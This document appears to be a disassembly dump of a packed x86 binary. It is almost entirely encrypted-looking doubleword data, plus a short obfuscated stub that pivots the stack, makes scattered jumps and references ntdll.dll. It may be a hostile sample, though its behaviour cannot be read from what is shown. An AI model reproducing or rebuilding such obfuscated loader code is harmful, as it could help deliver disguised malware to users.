0CDCCDD91h, 1A91B33Ch dd 8EB966E2h, 53DCEF13h, 0C4E14C03h, 98483DCh, 7597D6E5h dd 48B00C06h, 7FB8D3B9h, 0DA8E2BC6h, 2712930Eh, 1ECA983Bh dd 0BE536370h, 5097DE3h, 6497FB0Fh, 64A8E3E5h, 2E294117h dd 9D454C1Ah, 0D7C6F897h, 0C5241250h, 0AC7EEED5h, 15D8h dd 78BCEF1Fh, 6BAFDEEFh, 50D4D1FCh, 3EC2B9D7h, 2BEFA2A1h dd 7068CA0h, 0EC19868Ah, 0D6F26DB1h, 0B6C857DBh, 0EB5643C7h dd 0EAC9FF4Ah, 0D5DF7455h, 0F1366567h, 6F2D9EBDh, 99C5D747h dd 0D0000015h, 0AE39FDB0h, 831CE09Dh, 9E090D88h, 76F13570h dd 55D65A57h, 0F9B4D363h, 0E09DAA35h, 0C87831Ch, 3E6D9F08h dd 832C9FFAh, 55EAC9B0h, 671C8033h, 95063665h, 924EFD3Ah dd 41C553F0h, 9EEAFBB3h, 0A0F21E6Dh, 0F0923407h, 0A7CB4F53h dd 74E7526Dh, 0F092182Bh, 7DB79B53h, 0DC663A70h, 0D3573B49h dd 0BE4F992Dh, 274B1CAh, 1B4FC878h, 146BC637h, 7B7AB8F5h dd 3361C016h, 0CBC0B455h, 0C9C3C6Ah, 3A5135E1h, 0AB692423h dd 0C442A31Bh, 1F0E385Bh, 0A9DB4453h, 5A7EDAF2h, 72BF8421h dd 4C30E73Bh, 6F1E203Fh, 930A3CABh, 31BC628Ch, 9CAE1EBAh dd 14E4h, 7C80FB0Bh, 67ABE2E3h, 4CD0CDF8h, 3AFEB5D3h, 1FE39EADh dd 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h, 0E75A37FBh dd 0EACE8B46h, 0C1CB0855h, 0F0928AB9h, 62C17C53h, 3F53F0h dd 0FE53F072h, 53F0B24Fh, 0E92E5D6Fh, 6F2D7EC9h, 91390B63h dd 0D8000014h, 0B631F5A8h, 8B141895h, 66010580h, 7EE92D68h dd 4DCE524Fh, 0F1ACDB6Bh, 1895B22Dh, 47F8B14h, 36656700h dd 0FB2487F2h, 55EACE48h, 800488CBh, 47E01B61h, 49DC61CFh dd 0C5DB5C20h, 5B69198Bh, 144AD1E3h, 61610000h, 4C7DEA2Eh dd 3752CD51h, 1B29B67Ah, 4039C60h, 0D2068589h, 0E4286564h dd 0D3574E7Bh, 0B97D3854h, 9D611C2Eh, 1D2C89F0h, 9655EACFh dd 6567BB7Dh, 47790636h, 0AB442454h, 88E83644h, 20F68594h dd 22000000h, 0F09286B9h, 0E9A4A653h, 0C3DD82D2h, 0F458B388h dd 8D337A3Eh, 56531B16h, 13E61426h, 67820000h, 9E063665h dd 9702394Fh, 0CBC3BAC8h, 86C8C54Fh, 2849DC91h, 0B77D3051h dd 9D1834B3h, 8EC6B579h, 9A420363h, 0FDB143ADh, 0F06398ECh dd 48D6D960h, 7EB48FF3h, 0C831937Fh, 3E4B944Fh, 0AFD33747h dd 0DFC5C09Fh, 0CF0E7F80h, 5FD8F97Ch, 5C6F93F7h, 8981FC0Dh dd 0A53070Dh, 5FD8F930h, 78BCF112h, 9FAFDEEFh, 75305D2Ch dd 0AEDFE0BFh, 0CBC6C19Eh, 0E5A0ACB3h, 6C8372D5h, 4CA3D0A6h dd 7D8AD1h, 3E7F8C08h, 5FD8F903h, 0D976BC80h, 8531F5A8h dd 91BCF757h, 27D67h, 5375F400h, 305F2058h, 51DB597Dh dd 0E01B6180h, 0DC7C9F47h, 7BA41749h, 55E48CC8h, 5F2C354Bh dd 0D075097Dh, 3E0266ACh, 0FD9E770Dh, 5D5906B7h, 7788D7D7h dd 64650206h, 0AD901129h, 0A655E4D2h, 0C2C30269h, 9AA9B0CBh dd 91B5F01Ch, 3A0B1D79h, 5C449396h, 0B1D18193h, 96172450h dd 4FC81674h, 1E6199FDh, 453849EFh, 4342DD21h, 42FF3E4Eh dd 455FD818h, 0A5A4E30Ah, 8D5C24E8h, 18FC4FE8h, 13775FD8h dd 2353DCEFh, 7B45F4E0h, 9CACE9E4h, 0A7CBC2C3h, 1A31156Dh dd 3330EAFh, 0CCB041CCh, 3C37EBFh, 0FC4041CCh, 0D7E97636h dd 4E7E2D5Fh, 3E150DDh, 1E6241CCh, 0D552D6FAh, 0BCC3F8B3h dd 9CF8108Dh, 0A4971696h, 0BF41CC03h, 0B8CAF910h, 0A5A641C5h dd 7A8CD3E8h, 858F0B03h, 9A252639h, 2321D88Ah, 3E4E72E5h dd 0B9C89788h, 629A113Fh, 442CC2E6h, 99AA176Fh, 3D543BF9h dd 8B80FD0Eh, 0A2DAD3F4h, 0D4C7F926h, 26D220A4h, 0BEFB1655h dd 0CC469474h, 0CF5097D0h, 0E5000000h, 1C2C6966h, 67F07AB8h dd 7A053568h, 0F026564Bh, 0EE1D2C43h, 802D98B3h, 53F092B1h dd 1994B532h, 0B34165E1h, 8885AB07h, 9F118594h, 9F000000h dd 5366567h, 635AC24Fh, 7F814DA3h, 9A2AE80Ch, 563AC3C5h dd 8EDE45A8h, 2E265579h, 0D9EBE643h, 0D8684CA2h, 15C3E331h dd 219C8FE6h, 0F013B584h, 0DD4ACE53h, 6D22F0ABh, 70DC205Bh dd 85950AAAh, 5934h, 6180E000h, 3747E01Bh, 0C849DC6Ah dd 5BC43744h, 55E49AE8h, 0FBCFBEC0h, 0D30A8197h, 1CBBC5BFh dd 0CA259616h, 0E4F0DE6Dh, 23F15555h, 0E4F08BB2h, 0E39AAB55h dd 387594EBh, 52B9D600h, 33AE9DC8h, 0E4F047F2h, 0AF78DC55h dd 75D1E9A4h, 0B9B9D0BFh, 8BA8EA73h, 9503h, 6180A900h dd 2875E01Bh, 53F09219h, 437CB69Ah, 0DC9064E2h, 82B99D49h dd 5DD7CEFBh, 0B0ED1E61h, 0DBD2F36Ch, 0F2ABDCA3h, 88EF2CDAh dd 4EFD3A95h, 0C555E490h, 0EB1CB341h, 1CC26EB2h, 0BA8BA88Fh dd 42h, 18648076h, 34719CE3h, 0B160CDFEh, 0B2D3F092h, 3E4DBECEh dd 0E1659510h, 939BA213h, 9443D3F0h, 315DA97Dh, 0F33CAF1Ah dd 0D3F09340h, 38B57FC3h, 53F09369h, 0E9A266EAh, 0F43E7392h dd 116Ah, 4C2A8000h, 0F9000000h, 132B6662h, 22463F4Ch dd 6C676ED0h, 45461931h, 0E31B92B3h, 0CCBF4367h, 7DC62EB4h dd 9F919536h, 16934F32h, 10CF45A8h, 168EBEEFh, 298880F8h dd 53F0D117h, 33BEB6F5h, 907492BAh, 69806FA5h, 94D5C369h dd 0BEBD385h, 80D90000h, 43E21A6Eh, 0CC4B4779h, 0B2D1A893h dd 3F5635FFh, 3FBDED33h, 2A890Fh, 80270000h, 76E11A6Eh dd 0F0921A29h, 7FB59953h, 9250E34Ch, 6FD353F0h, 0ACC1DE5Fh dd 0EC6B2C7Ch, 59A77585h, 0BC372F08h, 0FD000002h, 0A00D6E80h dd 53F09291h, 480A2E12h, 6567442Eh, 4A460536h, 4943C54Fh dd 80965463h, 0B9C08894h, 63E7178Ah, 0A088584h, 4779h dd 6E80B700h, 6E7F4BE8h, 0C8EC5BB7h, 54E740B3h, 4D53F027h dd 9DCAD961h, 12764A34h, 2A8B1E00h, 53F09210h, 8B3FB599h dd 316C67A1h, 8B604AA3h, 2EF00DFDh, 7BB98FF8h, 38E9h, 0E243BE00h dd 53F04B57h, 0A0AA68ECh, 581A6E80h, 92102A8Bh, 7FD353F0h dd 8BA18BF5h, 0DB52CFDh, 34FE96AFh, 61C36C67h, 0D146CA5Ah dd 3544F730h, 7BDF53F0h, 4AA13357h, 4543B960h, 6C9B05B7h dd 5072ED31h, 4D7C8B5Dh, 3F419E50h, 22233C4Ch, 440B536Bh dd 729DE52Dh, 4B79001Bh, 56DC3850h, 251487B9h, 63F5A8DAh dd 90BFDADDh, 45384A79h, 5CF85F4h, 17912E18h, 0ED1FCC46h dd 3F4F4A45h, 0E2205129h, 0B9DDDB7Ch, 504C395h, 4F6691ADh dd 0A0361A82h, 0B9749BC4h, 0C48577ABh, 113314Ah, 96B7384Ah dd 58B3FDDh, 0D7DAFC38h, 0C7EB833Ch, 0F4136AA3h, 3E4E4342h dd 403B4DDAh, 0A9BF2C5Ch, 3061CDD0h, 0B7E618A1h, 151F0387h dd 7312413Fh, 0A3DEED1Ch, 0FDB0D1A8h, 0E2E48337h, 0D7F635ABh dd 15E6B7CDh, 289049CFh, 55DFCEFFh, 4F2CE658h, 0D0EB6F82h dd 0FDF07D89h, 97615457h, 62E6163Ah, 1119BA8Ch, 0BA78BB39h dd 0D83FD0ACh, 0AC6E0F45h, 4A7C9B47h, 0BAF113C8h, 7B89D043h dd 2B5DF200h, 0B7CDFE70h, 66E861CBh, 0DF75BF96h, 0B74944D5h dd 6DE9E19Ch, 1F2E3149h, 0EED6A62h, 8BF623E7h, 48434118h dd 0A695D430h, 3D824F53h, 0DD34DB59h, 7EF69CAEh, 0C505252Eh dd 66D514B2h, 0FD824F77h, 79847599h, 0D8CFA647h, 30E2F366h dd 7E8D5A0Ch, 9639AD03h, 4F3E407Fh, 65673AFEh, 4E4F0536h dd 6187E775h, 0DADD6CC9h, 0F25653F0h, 8BC244CEh, 92AC9F18h dd 0FC8553F0h, 936FED35h, 0D946CABEh, 2220F2ADh, 186480B0h dd 5463495Ah, 88948096h, 3C00h, 6480AC00h, 188B5A18h, 923100ADh dd 0A8F553F0h, 53F09299h, 0FE42361Ah, 9285B934h, 0A0E53F0h dd 0D9F48B48h, 0AC3B992Eh, 0A1C5FA24h, 0C4E72DA9h, 376667D0h dd 2A604ABDh, 42h, 18648040h, 102A8B5Ah, 0D353F092h, 927CCF68h dd 0E55553F0h, 30854691h, 62A2E62h, 48188B4Ch, 0D8BB9498h dd 3050FDAh, 0BFCC6667h, 0D552B6C6h, 48CCFCB7h, 7BA41724h dd 53F092C8h, 0CB4DC74Bh, 0B3B9604Ah, 8B53F063h, 0D0CDF87Ah dd 0EF385CB8h, 0D684A8E3h, 0FFFFFD0Bh, 1E2D8AE5h, 9553F083h dd 0B9F963B1h, 53F09286h, 9C17334Ah, 922AE86Ch, 0DBD2FF7Ch dd 411873B7h, 4DD74944h, 716BE683h, 0AAA57AB8h, 8FBFF614h dd 64D7E70Bh, 349DAC09h, 321653F0h, 3446F5E0h, 0AF8E53F0h dd 930E3948h, 0BEEF108Fh, 92FE0A7Ah, 80D33B7Ah, 2A35951Eh dd 151868C3h, 0DAD7BC3Fh, 0D01EE230h, 2EC7EB7Bh, 0B39E9B56h dd 6AEE1E95h, 615F4AB4h, 640F731Ah, 858FB3D1h, 23EFAh dd 0D1F08F00h, 7A32EB2Eh, 50747E97h, 0EC56DC38h, 0F09285B9h dd 0D5A34253h, 6C6579A6h, 98EE49DCh, 28FCC7D5h, 49CDF143h dd 0C6F6B3DEh, 0CF0F1F55h, 3958E0A4h, 6A2324FBh, 81FC0D52h dd 47431A89h, 5AD83C4Ch, 0C6F58362h, 8CBFF86Bh, 755E4A3h dd 0B3D7C6F8h, 0A32C1F98h, 0A3A755E4h, 7FBE6451h, 0D3B74FC8h dd 541404Ch, 0CAD83063h, 0CA8h, 48CCBFCFh, 3BFFAEDFh, 20E4A1ACh dd 0E128987h, 0FB3F7291h, 0D7F65C70h, 0BCC956DAh, 0A6A23DC1h dd 86B827EBh, 1B661317h, 0EAF6AF9Ah, 25EF2455h, 706EFD8Bh dd 0AC0F90CBh, 20FFE39Ah, 0F4AB6924h, 30A3DBD2h, 0F4E958C5h dd 0E66A53F0h, 349982Ch, 0E19F7808h, 0A65C61BAh, 0F5D2536Ch dd 0E49DA26h, 2B86F10Ah, 0C928605Dh, 15547A8Dh, 55EAC126h dd 845BD9BDh, 9F080C89h, 72023974h, 646660DCh, 63B51129h dd 0AD7A04A3h, 70D4E49Fh, 4B7D02A2h, 21C03850h, 0BFB5205Bh dd 6F10B2B3h, 0B8A8890h, 4FC69163h, 6CDF58CBh, 0E75FDF99h dd 16519163h, 9699BDF8h, 62FE9394h, 0E9AE7CECh, 0Bh, 1E898D00h dd 0F36CB0EDh, 0CE59DDD8h, 0A641C5C0h, 0A526EAA7h, 890403B3h dd 0B0ED1A85h, 0DCD7F36Ch, 0CEBDCF58h, 53DC2F4Ah, 55EAF7E0h dd 8BECD063h, 1C063FFDh, 9260FD27h, 0B8D0CBFDh, 0A0DBA140h dd 0DC630F07h, 181C6049h, 0A0E7D8Fh, 730A6B7Ah, 231E5F56h dd 0A055E4C7h, 1083B8DCh, 0C7C978A5h, 3D4A55E4h, 0A76D910Ch dd 0CE70B436h, 22593D4Fh, 7C8E305Bh, 0F0D25BF3h, 0D4F8333Fh dd 0F83C20A4h, 1129646Fh, 49413C4Eh, 374430D1h, 0F22400F6h dd 0FD3A1145h, 41B2C74Eh, 128FBAC5h, 4D45CAEEh, 575CEB49h dd 0B3ED5E7h, 55750000h, 3849D65Ah, 2B26C145h, 0F3DAA6Eh dd 0F8179094h, 0D6FA8185h, 0E82C6160h, 0D75B527Fh, 0BD413C48h dd 0A96D2022h, 1307DCCh, 8255EAF4h, 65674F71h, 0CBC3BECDh dd 0AB132B4Fh, 901D2E5Ah, 49DC9142h, 0B8685C4h, 9195F909h dd 74B8F516h, 96A5E0EBh, 914FFA3Bh, 57C455E4h, 0E4917BD6h dd 7094F855h, 803CF6A2h, 90E01B61h, 4AF714DCh, 0A81B19DEh dd 0DC82BB0Fh, 3048CC49h, 0E4624EF1h, 4AA1AC55h, 0A97CE208h dd 77FC8Bh, 67380000h, 78073766h, 59265647h, 758702Bh dd 275E6C06h dd 6687FF03h, 76BCF912h, 0FF49DC69h, 93A6949Bh, 62DA6919h dd 0A8750h, 0E39EAE00h, 0E7F801Fh, 37729D0Ah, 5F5674F3h dd 403D4CDBh, 0AD153FBCh, 801FE39Eh, 99060A83h, 71EE326Dh dd 0BDD85C4Fh, 0F452E14Eh, 0A2D155EAh, 9F188B7Eh, 53F092ACh dd 3AD12327h, 2E5D6F09h, 0F675060Ah, 0C85AD8D5h, 58h, 37666766h dd 0B3D59407h, 7E8E0503h, 42C6F61Ah, 9FEDFCB0h, 4E1BC36Ch dd 70D449DCh, 1972CBAFh, 0B785F569h, 0A14h, 0AC702B5Bh dd 979B1233h, 7C80FD08h, 6AAEE5E3h, 4FD3CEFDh, 2B5AE8CCh dd 1835B276h, 20E999Dh, 0E2E48387h, 0B70A67ABh, 0EAF5DB76h dd 0F13B5855h, 6366567h, 27544779h, 7E8F2958h, 77D3EB0Fh dd 8E6101BDh, 88C56B67h, 46D18594h, 0DF000002h, 0F5A0FD8Bh dd 7E182789h, 0F551E04Dh, 6ED253F0h, 0A178EA4h, 225A5173h dd 89586CA6h, 70940938h, 0CA8DA5Bh, 0CAA149DCh, 0E4FDDE6Dh dd 0CDF15555h, 0A4AD3F7Ch, 9B6A604Ch, 3951DEEDh, 3AB07080h dd 900D3A41h, 6EDD1C78h, 0E5AC3089h, 0D54D7D61h, 0EA4B4034h dd 0B61F0055h, 33417ADEh, 0BC563675h, 1CAF65C2h, 0D6573B4Dh dd 5627797Bh, 0C66794F8h, 5627790Bh, 9C608488h, 858A0103h dd 6955B3ABh, 3DF7C535h, 74000009h, 4AD55954h, 27C04439h dd 32AD712Ch, 0A959914h, 0F98286FBh, 2D606FD7h, 54517EE9h dd 403B57D0h, 6A2123BCh, 3770CBA6h, 55EAFA04h, 67B0749Fh dd 9F073766h, 3FC0C14Eh, 9CC577E0h, 0F71B3FF4h, 0FA055BC4h dd 4ACE49DAh, 631E2A31h, 9A25EF6Bh, 81D8C6C3h, 72C10883h dd 0F155EBA4h, 3AA5698Dh, 78900Dh, 0C7609BE1h, 4FC7451Fh dd 7B97D0h, 9BF9C8EEh, 2549C712h, 433A5716h, 912320BFh dd 0E2193D70h, 1B336A9Bh, 926EB94Dh, 61855F54h, 3A4C1393h dd 9AECBC43h, 148462FEh, 89B06h, 0FFB2D200h, 0E29BAC3Bh dd 0B86811Eh, 336A9807h, 5C5170EFh, 0C97953D8h, 0A443C7BAh dd 0BD2AEEA7h, 95121691h, 99F43873h, 0FAB68522h, 86CD55EAh dd 3E156402h, 0E653F092h, 0C3F78EBh, 8753F092h, 83EA7183h dd 242524A7h, 3FF55169h, 0F9126687h, 0FF81DE6Bh, 0EBE00231h dd 0F0FBFF4Ah, 2107453h, 1A5E04A1h, 0A49749DCh, 0E418C87Bh dd 0A3C4B55h, 304B6F93h, 0E8B86C5h, 0E4187CCFh, 8193F755h dd 712C2726h, 4034D5ADh, 79D4EA4Bh, 25D4FCBh, 16728A07h dd 8082D9F2h, 6C9E090Dh, 7528EE31h, 60D86302h, 7F352h dd 970A3A00h, 0BAF31493h, 0A3DEE976h, 0CBC2C05Fh, 0F4A9D847h dd 3181AB30h, 0C9B9F12h, 0E58286FFh, 0FD6AAEE9h, 214CD0CBh dd 0FBEE5DDAh, 2E6555EAh, 0D2F48BEAh, 0E15C59DBh, 0C153F092h dd 3848CCBFh, 0FA8A3A9h, 49DC2C31h, 0A6A5D6BAh, 0BC2BEFAAh dd 76E51590h, 0DCAF9A1Bh, 202455E4h, 79270D2h, 0D4470000h dd 0E4DCF84Bh, 0E4177B55h, 0E4DC88BBh, 0D070B55h, 0E061800Bh dd 7784A8E5h, 0DC6CB436h, 21593D49h, 0E49FBD80h, 276B9D55h dd 0E49F4B86h, 2044C855h, 403B5728h, 48AF3048h, 6C900B39h dd 737F9671h, 8BA899ADh, 14BC9h, 6B67E700h, 49441B30h dd 75E6C64Ch, 92AE9D1Ah, 0DA2553F0h, 44CEF2AFh, 8037A97h dd 225A5571h, 0F506CA6h, 0E17E8EFDh, 0C391AAE5h, 8E134D3Ah dd 33E72D26h, 0F140ED58h, 7253F06Fh, 3B57040Eh, 3FD04840h dd 54C73249h, 0F06F78CBh, 6497FB53h, 0F06F083Bh, 8D878B53h dd 0F06EF900h, 0E6167A53h, 2C5BB261h, 0EAA16520h, 6F033E7Fh dd 0BC8053F0h, 0F2ADD976h, 6E9C5BDAh, 0D50453F0h, 0F11C63BEh dd 0CFFB84B4h, 0AD62B0D4h, 6922E6A1h, 6C82B1FEh, 3D0153F0h dd 5820BFF7h, 0C477B023h, 5F53F06Ch, 218E39FBh, 53F06C0Ah dd 0DE96A5A9h, 0AC7748DCh, 0DB97B3Bh, 0DAC0CF9Eh, 0F0FEEE5Dh dd 0FDE16553h, 14CB49CDh, 0ED7ABEF7h, 0CA95A5E0h, 52B5C5B8h dd 507D8CE3h, 3956D155h, 35D44C7Ch, 0C7EB3447h, 6849DCFFh dd 8A8720E4h, 6C83FB13h, 8F46E714h, 4355E4FEh, 80920B3Ch dd 6BEC1C60h, 2926658Ch, 123FA86Ch, 0FE10238Ch, 0AF9355E4h dd 68E0708Bh, 0F9ECDB05h, 0D54D79BBh, 7BD65734h, 0F855E440h dd 0DA5B7094h, 4FC8AF64h, 25269EDh, 0AB7C8249h, 2B67C38h dd 0E92D6865h, 4B862792h, 0C85FD873h, 0F2A9DB44h, 0E7B47EDAh dd 0A66CB0EBh, 0E01B6180h, 0DC910B47h, 3148BB49h, 0E1509914h dd 6255E491h, 334B98ECh, 74980C41h, 0B6C64ABEh, 89040645h dd 401F1571h, 273D4E3Fh, 0CD7604DDh, 0D8989A1Dh, 1864801Ah dd 92FE41E0h, 0F11C53F0h, 8C92589Ah, 412C8594h, 88000000h dd 0AC9F188Bh, 2753F092h, 93AD123h, 76C56494h, 0DE53F092h dd 0D8E9187Fh, 0E91861A5h, 3A53F074h, 0D9BF7301h, 7722368Ch dd 0FFBBA3BDh, 570FFFFh, 0F0CFA998h, 637A8853h, 0B0BD1159h dd 0B0BA78DCh, 0DED7F48Bh, 33E82AAEh, 88D89A11h, 5D43441Bh dd 0F09261D0h, 7A9EE253h, 0CA4CC642h, 5A186480h, 55700F7Ch dd 0E78354AAh, 0C6EA43BBh, 0D42CA0B6h, 2170C287h, 540DF73Dh dd 88948096h, 3300h, 6480AC00h, 2A8B5A18h, 53F0921Fh, 5808CD3h dd 0DD97FB0Fh, 2722FD8Bh, 30959117h, 67EFC1E2h, 4C043766h dd 3EC54E76h, 0D15BD928h, 242A604Ah, 40000000h, 49C0FD8Bh dd 0D9C68E69h, 0FB87635Bh, 41188B79h, 0C8C54F42h, 53F09279h dd 8B9A58B0h, 376667A1h, 67604ABDh, 0AA19316Ch, 140721DAh dd 0A0898EFh, 0F051B88Bh, 39749053h, 524F7E01h, 0AAC10E3Ah dd 79907F60h, 0BE423F4Ah, 0F0A0B9FFh, 0B3EE1953h, 411B3F9Bh dd 0FFFFF3D6h, 376667EFh, 67293F3h, 0DACA9AF5h, 0E63A71A0h dd 0D04637FDh, 4149DC8Fh, 0F5ECDFDh, 17738B02h, 0B3AD901Dh dd 804F55E4h, 0A9C36969h, 4C138BA8h, 3D4B433Ah, 160B5EAEh dd 0E3315558h, 700h, 12AAC00h, 40000000h, 0E01B6180h, 0DC64AB47h dd 5B4D1B49h, 0D0CBF9A8h, 0B7CA5CB8h, 9848FC5h, 0A37195F1h dd 0B4CBC347h, 65161A93h, 19A94CEFh, 1D17CBCCh, 0E431FB90h dd 3B3DF55h, 0C7F8F06h, 0E43190A3h, 0B2F1355h, 888423E7h dd 171BFD0Dh, 1F2C332Eh, 20F25666h, 0F915345Bh, 0DBED7ABEh dd 0CFF10EA0h, 31DF6ACBh, 0D3FF55E4h, 8760E4D8h, 9CF8108Bh dd 8DFEE678h, 19C43CF7h, 1E1443CDh, 0D9EB1A71h, 54416BA2h dd 86148086h, 0AA10h, 6F809C00h, 188B5B19h, 0F092AC9Fh dd 0D1232753h, 92F549D6h, 0DC3453F0h, 57A18B16h, 0F48B503Ch dd 8358DAD3h, 8B480A81h, 0AEDED7F4h, 0D7FBB6D1h, 804B615Dh dd 8B5A1864h, 0DF587AFDh, 7CB952F7h, 53F0EFCDh, 54DEC246h dd 9654569Ch, 889480h, 30h, 7E3B5615h, 6480B2B4h, 2A8B5A18h dd 53F0921Fh, 0FF818CD3h, 84B4D8D3h, 92F6F200h, 8BA18BC0h dd 5AD8D5F4h, 4B098485h, 222A604Ah, 40000000h, 5A186480h dd 921F2A8Bh, 7ADE53F0h, 67A18BF8h, 4ABD3766h, 88582D9h dd 7C8B94F0h, 878D0901h, 0FF4D2A9Dh, 6740FFFFh, 95063665h dd 0CD0EB9D6h, 0F8FDD8BFh, 0E8A82A6h, 0BD355704h, 9FFB138Eh dd 85C4B77Bh, 0AE060C87h, 9512295Fh, 49DCB0D9h, 9F1E2E12h dd 55E476A0h, 6E6C8342h, 8BA96CC0h, 0B6404F1Eh, 68EC1C99h dd 313DCE44h, 0FB000000h, 0E01B6180h, 0DC6CD747h, 14242849h dd 0E49CAA95h, 67B8A55h, 275A69F6h, 2A41B017h, 87C6C5E0h dd 7C03118Ch, 9B17C515h, 0BAA78BA8h, 0D000000h, 6366567h dd 27574A79h, 47772658h, 93970638h dd 0F097A7CAh, 0B6E5E753h, 0D8D3F572h, 0B4A938A0h, 0F096D86Bh dd 0D3F75B53h, 73B37FB8h, 0C7B449DCh, 0E4BBEB66h, 0C0E46855h dd 0D7A5443Ch, 153249A4h, 0E5E46098h, 55E4BB56h, 18AB69EDh dd 0E2B0DEADh, 0E4BBF645h, 0E5090D55h, 0E324AE2Fh, 0F95D4FCBh dd 118CBBC2h, 90E67E0Dh, 0BA372387h, 0D0FFAC66h, 45692426h dd 2BF06C2h, 1C2E9E63h, 230h, 0D0544747h, 0C3473657h, 0A86C2924h dd 969A113Fh, 8387FA09h, 5F6ED4F8h, 4441DE22h, 2E5AC549h dd 0E30AF73h, 83FE9B9Fh, 0EAFD1722h, 0BD67AC55h, 0F1356867h dd 0D5595476h, 1B61801Fh, 6CD747E0h, 242849DCh, 9CAA9514h dd 514855E4h, 92413903h, 0C64CE32Fh, 5A80D239h, 648BA940h dd 0ADh, 0CD6567B0h, 4CC8C0BBh, 404F1028h, 95FC3D4Dh, 3553F097h dd 0B949813h, 198A82F9h, 0C74D4042h, 516A1EEFh, 0DC731AD4h dd 31DC9449h, 6E3A18D0h, 600337Ch, 0BF8355E4h, 0E569999Bh dd 0F4806121h, 78CB54C7h, 0FB55E406h, 85229D97h, 4FCB6360h dd 2984B79Bh, 0DB8C725Bh, 0F12E957Fh, 2BAFDFD2h, 9E1332E9h dd 83FE0D9Ah, 25BCA7Ch, 24F66663h, 15Ch, 0F4387393h, 0DF235A6Bh dd 0C4484540h, 0B2762D5Bh, 979B1635h, 73922014h, 606DFA3Eh dd 4A46E125h, 2A5CCB4Fh, 7FC2AF73h, 0EAFD033Eh, 49738055h dd 0F1356867h, 0D5595476h, 0C465671Fh, 57672CC4h, 2D1C9999h dd 0A653F0E0h, 629ABEA2h, 6CB0EB1Dh, 9C75F514h, 0B41EAD2Bh dd 996A5C9h, 49DCFC51h, 0FE8DBE82h, 5CB8D0CDh, 21800ACAh dd 0A46E2E37h, 4B42441Bh, 772658C7h, 7A0EDF47h, 95083A41h dd 0B0ED1A65h, 0F825868Ch, 4FCEFC9Ch, 0C66EB195h, 7E62FE71h dd 0C23C0Eh, 0D9E90000h, 0C4C562A6h, 0AFDA45C9h, 93B12EF2h dd 7C8B1418h, 5A7EFD01h, 5CA0DDECh, 4BCFC6C3h, 31F5B0DCh dd 151994B6h, 95A40178h, 2E55EAE2h, 0FD8B23E5h, 7BCB806Eh dd 0DCD02207h, 0D14C7F0Dh, 0F2CBD983h, 64AE75C9h, 0DAA80B69h dd 14242849h, 4942394Bh, 999B1632h, 0A9DBA2D9h, 0B47EDAF2h dd 86B6E5E7h, 0A6642127h, 66DCA48h, 212DC5C7h, 0CEF25666h dd 56E542BDh, 46433E4Ah, 11754944h, 0B6C85703h, 9AA8B7C7h dd 7894EBE3h, 53720D3Dh, 0B582E5Eh, 8032E4Bh, 3A51FED0h dd 960CFF0h, 0A6D5C8FAh, 9E17344Bh, 50E3EA6Eh, 0D3433EB1h dd 72EDA56Fh, 0BE2D5D50h, 2AE8A3AFh, 338h, 0A68CB600h dd 4346767h, 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 4EC811Fh dd 54000000h, 8324048Fh, 68042404h, 40F5h, 50243C89h, 405E089h dd 83000000h, 48704E8h, 1C895C24h, 0A8BE5624h, 8161DE76h dd 0F21C46CEh, 81DEF778h, 0F555BCCEh, 4AEE8111h, 8991DB7Eh dd 24348BF7h, 5404C483h, 83241C8Bh, 3D6804C4h, 89000064h dd 438F243Ch, 241C8B08h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_585C7C ; --------------------------------------------------------------------------- dd 0B8E42026h, 61A7175h, 0C650C503h, 14084985h, 25684706h dd 0FFCF3817h, 140C2DB5h, 4E858D06h, 0FF06143Bh, 8DD88BD0h dd 1420DD85h, 4685006h, 0FF000001h, 4985C6D3h, 53061408h dd 7F8BF68h, 2DB5FF83h, 8D06140Ch, 143B4E85h, 89D0FF06h dd 1A555785h, 0C9BD8306h, 6140Ch, 0B840Fh, 9D8B0000h, 6141221h dd 5E9h, 0BB00h, 680000h, 8D000001h, 1A555BB5h, 0FF535606h dd 14008195h, 5BB58D06h, 3061A55h, 1E9F0h, 804E0000h, 840F5C3Eh dd 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh, 555B858Dh, 0FF50061Ah dd 1A555795h, 0E0FF5806h, 6D2BAFE9h, 3EB43561h, 11FA62DEh dd 13A81003h, 74314B29h, 7EACBFABh, 48766933h, 6A4A689Ah dd 47C18F48h, 53328998h, 0FE8h, 17B91E00h, 0D0C351CAh dd 0D59A9E5Fh, 606FE1C6h, 860Fh, 81580000h, 7443C0h, 0BB00h dd 81660000h, 8B7ADBE2h, 0F181180Ch, 332664AAh, 0BEC8D681h dd 0F18130B3h, 0E91Eh, 0DF8B6660h, 0E98161F5h, 32957AA9h dd 48A0Fh, 0BF660000h, 0BF51D74Dh, 12D6D410h, 8018048Fh dd 0CE8148C2h, 7E5432F0h, 6E04EB81h, 0E9605C55h, 13h, 8C3E12D5h dd 831950B6h, 5A2F0AC3h, 89C24AF4h, 66D97DB1h, 0AA9DEE81h dd 0C38161h, 665C556Eh, 0FB81F78Bh, 0FFFF8C84h, 0D850Fh dd 8B660000h, 26E9FAh, 4F370000h, 0F533095h, 88Fh, 840F6000h dd 0 dd 0FF69E961h, 2572FFFFh, 4B24910Ah, 5B52C88Bh, 0A4BCE2C3h dd 6E8h, 94940900h, 0E9326BF1h, 7, 0FDD3E278h, 591289C5h dd 0B890Fh, 6E90000h, 54000000h, 6931BC25h, 92C181D1h dd 0E9000074h, 8, 690892BEh, 306F312Ah, 0EA67DEBBh, 0DBEB811Eh dd 0B21EEA4Ah, 8B31FFFBh, 8B6658F9h, 0E3C081F8h, 0FC13DE19h dd 5D5FC081h, 6E90359h, 3F000000h, 10A967A5h, 0CBF0814Bh dd 505C7C3Dh, 895ED8B2h, 0FA8B5701h, 4E9835Eh, 0E3D3BA66h dd 1EB81h, 850F0000h, 0FFFFFFBDh, 0E9D08B66h, 2Fh, 414FB4A4h dd 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch, 1467006Ch dd 8003B2BDh, 0FEB9h, 3 dup(0) dd 0E9000000h, 6CEh, 1A759468h, 0C6EE906h, 4868FFFAh, 0E9061A76h dd 0FFFA0C64h, 1A771168h, 0C5AE906h, 0FE68FFFAh, 0E9061A77h dd 0FFFA0C50h, 1A78BC68h, 0C46E906h, 9D68FFFAh, 0E9061A79h dd 